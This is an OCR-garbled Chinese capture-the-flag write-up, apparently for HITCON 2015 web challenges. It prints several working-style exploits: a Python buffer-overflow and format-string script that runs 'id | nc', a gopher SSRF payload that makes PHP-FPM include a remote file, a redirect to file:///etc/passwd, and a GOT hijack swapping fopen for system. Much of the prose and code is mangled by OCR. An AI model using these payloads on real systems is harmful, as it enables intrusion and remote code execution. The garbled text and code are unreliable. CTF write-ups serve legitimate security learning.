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<code>#!php

1

2 <?php

3 highlight file( FILE );

4 $dir = 'sandbox/' . $ SERVER['REMOTE ADDR'];
5 if ( !file exists($dir) )

6 mkdir ($dir) ;

7 chdir ($dir) ;

8 $Sargs = $ GET['args'];

9 for ( $i=0; S$i<count (Sargs); Si++ ){

10 if ( !preg match('/"\w+$/', $args[$i]) )
11 exit();

12 }

13 exec ("/bin/orange " . implode(" ", Sargs));
14 2>

15 </code>

https://gist.github.com/orangetw/cb3487e47d7aaaead692
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1 <code>mkdir orange

cd orange

wget HEXED TP

tar cvf payload orange

php payload

(23NN B RS B \V)

</code>
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1 <code>busybox ftpget ...
2 </code>

B2
1 <code>twistd telnet ...

2 </code>
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https://gist.github.com/orangetw/cb3487e47d7aaaea4692
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1 <code>wget HEX TP
2 //#1M8 302 Redirect #| FTP protocol L, tRIEEMIEFEFREKIXD
3 // BEEBEMER wget source code MBIEAR index.html EZAWIE, &RERF FTP Protocol LFEARFLAILIE

4  </code>
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0x02 200 nanana (18 Exf#&)

https://gist.github.com/orangetw/4942d949134227eedd4c

1 <code>xxd -r —p nanana.xxd > nanana

2 </code>
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= © 0 N O 0o o W N =

A A B B D OWOWW W W WWWWWN DNDNDNDNDDNDDNDNDDNDDND =22 2 A A A A
A WO N =~ O © 0 N O a0 & ON =2 O ©W 00N O O b WODN -~ O © 0N OO o » WO N =~ O

<code>#!python

import requests

from urllib import urlencode

from struct import pack, unpack

URL
def

def

= 'http://54.92.88.102/cgi-bin/nanana’
leak (address) :
address = pack('I', address)

address = address.strip('\x00")

payload = {
'username': 'A'*349,
'password': 'B'*380,

'job': 'C'*392 + address

r = requests.get (URL+'?'+urlencode (payload) )

l.strip(' terminated')

[ I =
Il

1.1just (8, '"\x00'")
try:
return unpack ('Q', 1)
except:
return 1l
e(cmd, pwd) :
payload = {
'username': cmd,
'password': pwd,
"Job': '"\x48\x10\x60"',
'action': '%198x%15Shhn'
}
print urlencode (payload)

r = requests.get (URL+'?'+urlencode (payload) )

if name == "' main ':

pwd = leak (0x601090)
print 'pwd @ %s' % pwd
e('id | nc 127.0.0.1 12345',pwd=pwd)

</code>

solution of nanana - GitHub

= r.headers['*** stack smashing detected ***']


https://gist.github.com/orangetw/583a73f58d49b1a3fc14

0x03 300 Giraffe's Coffee (16 X fi#)

https://gist.github.com/orangetw/4a412fb0d49cad0c4ea3
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i) Mersenne Twister J@EE

ER AR seed BT php mt rand FEE AT pid LA Ry — L8 55 pE 7
T fE seed & 32-bits &/, Fr LA AT B AF 1)

B ANEFEHBRRN T ERME, HeHBEAK, HEEHNTER PRNG 2 %% PHP £ Apache T Hs2f#
prefork #)75 X E#AT

It AR IR B AR AR 2 1 48 fork ZF /9 process HHk— 18 £ A /R4

BT DA 4% VE T 52 3 BT B process PRNG ' STATE KIMRBBR T &% — Ik
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(Location: file://localhost/etc/passwd)

T RB A RS2 R LMEH Ngink + PHP-FPM
Hr PHP-FPM fastcgi protocol & LA bind port #7527 A< 4%

AEEHRD, REHERRBITHK PHP FastCGl & 7] LASNE 5 AR 3 AT LAE shell
Fr LM A gopher #&i& FastCGI Protocol &A1) 9001 port &t 7] AT R ARES AT

<code>Location:
gopher://127.0.0.1:9001/x%01%011%13%00%08%00%00%00%01%00%00%00%00%00%500%01%041%13%00%8B%00%$00%0E$03REQUE
ST METHODGET%0F%0FSCRIPT FILENAME/ www/index.php%$0F%16PHP ADMIN VALUEallow url include%20%3D%200n%09%26P
HP VALUEauto prepend file$%20%3D%20http%3A//orange.tw/x%01%041%13%00%00%00%00%01%051%13%00%00%00%00

</code>

(f#H PHP_ADMIN_VALUE 4 allow url include &Mt on BAKHiH auto prepend file E|H KA
)


https://gist.github.com/orangetw/4a412fb0d49cad0c4ea3
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gopher: don't send NUL byte - curl/curl@5bf36ea - GitHub
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I PoC HIEE A 2% 80vul i) PHP Codz Hacking
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https://github.com/80vul/phpcodz/blob/master/research/pch-034.md
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HRBRIETE Apache + mod_php |, PHP 2L Library IR 8\ 2 Apache #, FrCAFFI 5 €88 Nt CLI 3L
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HAh Pwn E HHK) libc offset A2 iZEi#E STRTAB, SYMTAB, JMPREL #1E offset #& i :)

Hrp PPP # Ricky i writeup

https://github.com/pwning/public-writeup/blob/master/hitcon2015/web500-use-after-flee/exploit.php

Hrh Ricky FIFIH 2 ZVAL &1 handler # sk system 47 B 3 Hig f ZVAL IR RB'E %4 B OBJECT it H.

refcount % 0


https://github.com/bagder/curl/commit/5bf36ea30d38b9e00029180ddbab73cab94a2195
https://github.com/80vul/phpcodz/blob/master/research/pch-034.md
https://github.com/pwning/public-writeup/blob/master/hitcon2015/web500-use-after-flee/exploit.php

<code>struct zval struct {
zvalue value value;
zend uint refcount gc;
zend uchar type;
zend uchar is ref gc;

}i

</code>
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i in B AE 32-bits THLEERL 4 bytes H-R B BR i) £ 7 &35 F§ XD

Eb BB R () 55 T BAFE GOT Hijacking 42 fopen #k system 2 1% I¢0Y fopen i AT LME B84 8AT

1 <code>write (Sopen got, $system address);
2 fopen (vv ‘ $Cmd", vvru) ;
3 </code>
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